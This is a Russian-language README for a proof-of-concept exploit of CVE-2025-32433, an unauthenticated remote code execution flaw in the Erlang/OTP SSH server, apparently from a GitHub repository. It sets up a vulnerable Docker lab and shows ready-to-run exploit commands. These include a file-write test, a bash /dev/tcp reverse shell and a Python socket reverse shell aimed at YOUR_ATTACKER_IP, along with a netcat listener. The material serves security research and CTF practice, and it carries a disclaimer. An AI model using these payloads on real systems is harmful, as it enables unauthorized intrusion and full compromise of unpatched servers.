
Эксплойт proof-of-concept для CVE-2025-32433, позволяющий несанкционированное удаленное выполнение кода в Erlang/OTP SSH. Включает настройку Docker и полезные нагрузки reverse shell для исследований в области безопасности и задач CTF.
Этот репозиторий содержит PoC-эксплойт (Proof-of-Concept) для CVE-2025-32433 — критической уязвимости удаленного выполнения кода (RCE) без аутентификации, затрагивающей реализацию SSH-сервера в Erlang/Open Telecom Platform (OTP). Данный PoC предназначен для образовательных целей, исследований безопасности и задач Capture The Flag (CTF).
⚠️ Отказ от ответственности — Только для образовательных и этических целей ⚠️
Данный PoC предоставляется строго для образовательных целей и этичного хакинга. Он предназначен для использования в контролируемых средах, таких как изолированные виртуальные машины или платформы CTF, где у вас есть явное разрешение на проведение тестирования безопасности.
НЕ ИСПОЛЬЗУЙТЕ этот PoC против любой системы, которой вы не владеете или на тестирование которой у вас нет явного письменного разрешения. Несанкционированный доступ или эксплуатация компьютерных систем незаконны и неэтичны. Автор и мейнтейнеры этого репозитория не несут ответственности за любое неправомерное использование или ущерб, причиненный данным кодом.
| Атрибут | Подробности |
|---|---|
| CVE ID | CVE-2025-32433 |
| Тип уязвимости | Удаленное выполнение кода без аутентификации (RCE) |
| CVSS v3.1 Score | 10.0 (Критический) |
| Затрагиваемое ПО | Erlang/OTP SSH-сервер (ssh) |
| Затрагиваемые версии | OTP-27.3.2 и более ранние OTP-26.2.5.10 и более ранние OTP-25.3.2.19 и более ранние Версии от OTP 17.0 и старше |
| Исправленные версии | OTP-27.3.3, OTP-26.2.5.11, OTP-25.3.2.20 |
Уязвимость заключается в том, как SSH-сервер Erlang/OTP обрабатывает сообщения протокола SSH на этапе предварительной аутентификации. В частности, сервер не может должным образом обеспечить соблюдение последовательности протокола SSH, что позволяет удаленному неаутентифицированному злоумышленнику отправлять подготовленные сообщения SSH_MSG_CHANNEL_OPEN и SSH_MSG_CHANNEL_REQUEST. Это позволяет злоумышленнику открыть сеансовый канал и выполнить произвольные команды Erlang (которые, в свою очередь, могут выполнять системные команды) без предоставления действительных учетных данных. Если SSH-демон работает с повышенными привилегиями (например, от имени root), успешная эксплуатация может привести к полной компрометации системы.
Самый простой способ развернуть уязвимый SSH-сервер Erlang/OTP — использовать предоставленный Dockerfile.
Клонируйте этот репозиторий:
git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
cd CVE-2025-32433-PoC
Соберите Docker-образ:
Эта команда компилирует уязвимую версию Erlang/OTP (OTP-26.2.5.10) и настраивает SSH-сервер.
docker build -t erlang-ssh-vulnerable .
Запустите контейнер уязвимого сервера:
Это запускает SSH-сервер Erlang/OTP в фоновом режиме, прослушивающий порт 2222.
docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
-d: Запускает контейнер в отключенном режиме.--name erlang-ssh-target: Присваивает контейнеру имя для удобного управления.-p 2222:2222: Пробрасывает порт хоста 2222 на порт контейнера 2222.Скрипт cve_2025_32433_exploit.py можно запускать в интерактивном режиме или с аргументами командной строки.
Если запустить скрипт без аргументов, он запросит необходимую информацию.
python3 cve_2025_32433_exploit.py
127.0.0.1, если атакуете Docker на том же хосте).2222).Это поведение по умолчанию, если оставить запрос команды пустым в интерактивном режиме. Он создает файл /tmp/note.txt на цели.
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
docker exec -it erlang-ssh-target cat /tmp/note.txt
Exploit Ran!Для получения обратной оболочки необходимо указать полезную нагрузку, которая подключается обратно к слушателю на вашей машине.
Запустите Netcat-слушатель на вашей атакующей машине (например, Kali Linux) на выбранном порту.
nc -lvnp 4444
Важно: Убедитесь, что ваш брандмауэр (например,
ufw) на атакующей машине разрешает входящие соединения на этот порт.sudo ufw allow 4444/tcp
Запустите PoC-скрипт с полезной нагрузкой обратной оболочки. Замените YOUR_ATTACKER_IP на IP-адрес вашей машины.
Обратная оболочка Bash:
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
Обратная оболочка Python (часто более надежная):
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
Проверьте ваш Netcat-слушатель. Вы должны получить соединение и получить оболочку на целевом контейнере.
Чтобы остановить и удалить Docker-контейнер и образ:
# Stop and remove the container
docker stop erlang-ssh-target
docker rm erlang-ssh-target
# Optional: remove the image as well
docker rmi erlang-ssh-vulnerable
Проверьте, что контейнер запущен:
docker ps